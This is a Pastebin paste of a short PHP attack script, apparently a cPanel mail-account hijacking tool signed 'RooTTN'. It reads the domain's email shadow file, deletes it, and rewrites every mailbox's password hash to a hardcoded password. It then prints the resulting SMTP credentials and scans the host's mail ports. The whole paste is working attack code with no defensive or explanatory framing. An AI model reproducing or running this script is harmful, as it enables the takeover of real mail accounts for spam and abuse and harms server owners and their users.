Advertisement
tetefos

Untitled

Feb 15th, 2019
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.27 KB | None | 0 0
  1. <?php
  2. //Bksmile **(RooTTN)**
  3. set_time_limit(0);
  4. ini_set('max_execution_time',0);
  5. ini_set('memory_limit',-1);
  6. // port to scan
  7. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  8. $primary_port='25';
  9. //curent user
  10. $user=get_current_user();
  11. // Smtp password
  12. $password='roottn';
  13. //crypt
  14. $pwd = crypt($password,'$6$roottn$');
  15. // host name
  16.  $t = $_SERVER['SERVER_NAME'];
  17. //edit
  18.  $t = @str_replace("www.","",$t);
  19.  //get users
  20. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
  21. //edit
  22. $ex=explode("\r\n",$passwd);
  23. //backup shadow
  24. @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
  25. //delete shadow
  26. @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
  27. // :D
  28. foreach($ex as $ex){
  29. $ex=explode(':',$ex);
  30. $e= $ex[0];
  31. if ($e){
  32. $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
  33. echo '<span style=\'color:#00ff00;\'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>';  "</center>";
  34. }}
  35. //port scan
  36. foreach ($ports as $port)
  37. {
  38.     $connection = @fsockopen($t, $port, $errno, $errstr, 2);
  39.     if (is_resource($connection))
  40.     {
  41.         echo '<h2>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
  42.         fclose($connection);
  43.     }
  44. }
  45. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement